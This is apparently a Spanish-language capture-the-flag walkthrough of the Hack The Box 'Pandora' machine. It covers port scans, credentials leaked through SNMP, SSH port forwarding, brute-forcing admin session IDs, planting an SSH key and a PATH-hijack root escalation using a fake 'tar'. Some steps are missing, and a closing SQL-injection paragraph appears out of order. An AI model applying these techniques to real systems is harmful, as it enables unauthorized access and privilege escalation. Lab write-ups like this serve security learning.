En el presente desafio de hack the box ,abordaremos la maquina ," pandora" . En este escenario aprovecharemos una vulnerabilidad en el servicio snmp ,que servirá para ganar acceso a ssh y poder ganar
En el presente desafio de hack the box ,abordaremos la maquina ," pandora" . En este escenario aprovecharemos una vulnerabilidad en el servicio snmp ,que servirá para ganar acceso a ssh y poder ganar root dentro de la maquina por medio del por forwanding.
Escaneo de puertos
Primero que todo, como toda buena metodología, debemos hacer un escaneo de puertos con nmap con los siguientes parámetros:
-p-: Escanear todos los 65353 puertos que existen
-Pn : Sirve para decirle a Nmap que el host destino si está arriba
–min-rate 5000: : Lo que hace este parámetro de nmap es controlar el número mínimo de paquetes por segundo que se enviara durante el escaneo
nmap -p- -Pn -O --min-rate 5000 10.10.11.136
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-03-23 10:19 AKDT
Warning: 10.10.11.136 giving up on port because retransmission cap hit (10).
Nmap scan report for 10.10.11.136 (10.10.11.136)
Host is up (0.065s latency).
Not shown: 64468 closed tcp ports (reset), 1065 filtered tcp ports (no-response)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.94SVN%E=4%D=3/23%OT=22%CT=1%CU=39181%PV=Y%DS=2%DC=I%G=Y%TM=65FF
OS:1D75%P=x86_64-pc-linux-gnu)SEQ(SP=105%GCD=1%ISR=10A%TI=Z%CI=Z%II=I%TS=A)
OS:OPS(O1=M53CST11NW7%O2=M53CST11NW7%O3=M53CNNT11NW7%O4=M53CST11NW7%O5=M53C
OS:ST11NW7%O6=M53CST11)WIN(W1=FE88%W2=FE88%W3=FE88%W4=FE88%W5=FE88%W6=FE88)
OS:ECN(R=Y%DF=Y%T=40%W=FAF0%O=M53CNNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%
OS:F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T
OS:5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=
OS:Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF
OS:=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40
OS:%CD=S)
Network Distance: 2 hops
OS detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 43.16 seconds
cómo podemos ver este nos dan dos puertos abiertos, después de esto intentamos hacer el mismo escaneo, pero para el protocolo UDP, este serealiza con la herramienta nmap ,donde utilizaremos los siguientes parámetros:
-p-: Escanear todos los 65353 puertos que existen
-sU : Este parametro hace que nmap haga el escaneo por el protocolo udp
-Pn : Sirve para decirle a Nmap que el host destino si está arriba
–min-rate 5000: Lo que hace este parámetro de nmap es controlar el número mínimo de paquetes por segundo que se enviara durante el escaneo
nmap -p- -sU --min-rate 5000 10.10.11.136
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-03-23 10:27 AKDT
Warning: 10.10.11.136 giving up on port because retransmission cap hit (10).
Nmap scan report for 10.10.11.136 (10.10.11.136)
Host is up (0.20s latency).
Not shown: 65386 open|filtered udp ports (no-response), 148 closed udp ports (port-unreach)
PORT STATE SERVICE
161/udp open snmp
Después de esto intentamos hacer un escaneo agresivo con nmap , este se realiza con el parámetro -A
Después de revisar el resultado del escaneo agresivo con nmap ,se logra percatar que dentro de snmp-processes (Procesos ejecutados en el servicio de transferencia de información snmp ).
856:
| Name: sh
| Path: /bin/sh
| Params: -c sleep 30; /bin/bash -c '/usr/bin/host_check -u daniel -p HotelBabylon23'
se logra ver que estas credenciales sirven para entablar una conexión ssh con la victima
ssh daniel@10.10.11.136
HotelBabylon23
Escalada de privilegios
al revisar notamos que existen dos usuarios daniel y matt.
ahora ejecutamos, el binario que nos devolvía en el escaneo de nmap
/usr/bin/host_check -u daniel -p HotelBabylon23
al revisar el output nos dice que lo guardo en un archivo llamado .host_check
cat ~/.host_check
al revisar el output de este notamos que nos devuelve esta información
1;localhost.localdomain;192.168.1.42;Created by localhost.localdomain;Linux;;09fbaa6fdf35afd44f8266676e4872f299c1d3c
2;localhost.localdomain;;Pandora FMS Server version 7.0NG.742_FIX_PERL2020;Linux;;localhost.localdomain;3
al revisar, nos damos cuenta de que está corriendo un Pandora FMS server en el puerto 80, pero lo curioso es que desde nuestra maquina no tenemos acceso desde este, entonces ¿cómo avanzamos?
Para hacer esto necesitamos hacer un port forwanding con la maquina victima
con el siguiente comando
ssh -L 80:127.0.0.1:80 daniel@10.10.11.136
Ahora al ingresar al puerto 80 de nuestra máquina, vemos que está ejecutándose un FMS en esta versión v7.0NG.742_FIX_PERL2020.
Bueno al buscar un exploit para esta versión de la web notamos que tiene estas dos vulnerabilidades
ahora para validar cual de este si es una sesión activa lo que haremos es hacer una fuerza bruta, hasta encontrar cual, si está habilitada, para esto lo que haremos es obtener todos los id_session.
Estos sessions id los guardamos en un archivo llamado bruteforce donde después con la herramienta wfuzz validamos cual session si deja ingresar al administrador.
donde la sesión valida es
g4e01qdgk36mfdh90hvcc54umq
ya con esta sesión se puede utilizar la siguiente vulnerabilidad para ganar acceso a la máquina.
Ahora para ganar persistencia dentro del server con el usuario root lo que haremos es generar una key ssh
ssh-keygen
ahora nos dirigimos a la ruta .ssh y obtenemos el id_ed(number).pub, ya despues de eso, nos debe dar un texto, en la maquina victima nos dirigimos a la raiz del usuario matt y entramos a la carpeta .ssh
matt@pandora:/var/www/pandora/pandora_console$ cd /home
cd /home
matt@pandora:/home$ cd matt
cd matt
matt@pandora:/home/matt$ ls
ls
user.txt
matt@pandora:/home/matt$ mkdir .ssh
mkdir .ssh
matt@pandora:/home/matt$ cd .ssh
cd .ssh
Ahora dentro de esta carpeta agregamos con un echo la key anteriormente copiada
vemos que tenemos el binario usr/bin/pandora_backup , donde al revisar vemos que este se ejecuta como root.
Al hacer la ejecución del código se logra percatar que este ejecuta el comando tar para comprimir datos.
por ende, lo que haremos es jugar con el $PATH de linux, debemos tener en cuenta que el $PATH es el orden que tiene linux para ejecutar un binario, como así ? , si ejecutamos el comando tar y el path es /usr/bin;/data/bin ,linux primero buscará el comando tar en /usr/bin y si no lo encuentra lo buscara en el otro.
Así lo que haremos es irnos a la capeta /tmp y creamos un archivo tar donde tendrá la acción de ejecutar /bin/bash.
cd /tmp
echo '/bin/bash;' > tar
Después de esto le daremos permiso de ejecución y lo que haremos es cambiar el $PATH del sistema paraque tome el antiguo que tenía, pero agregue la carpeta /tmp.
chmod +x tar
export PATH=/tmp:$PATH
por ende, al ejecutar de nuevo el binario tendremos acceso a root.
y yap , ¡¡ maquina solucionada!!!
primero vamos al sql injection , en la página nos dice que este se encuentra en el siguiente link ,por ende lo que haremos es utilizar sqlmap para poder vulnerar este link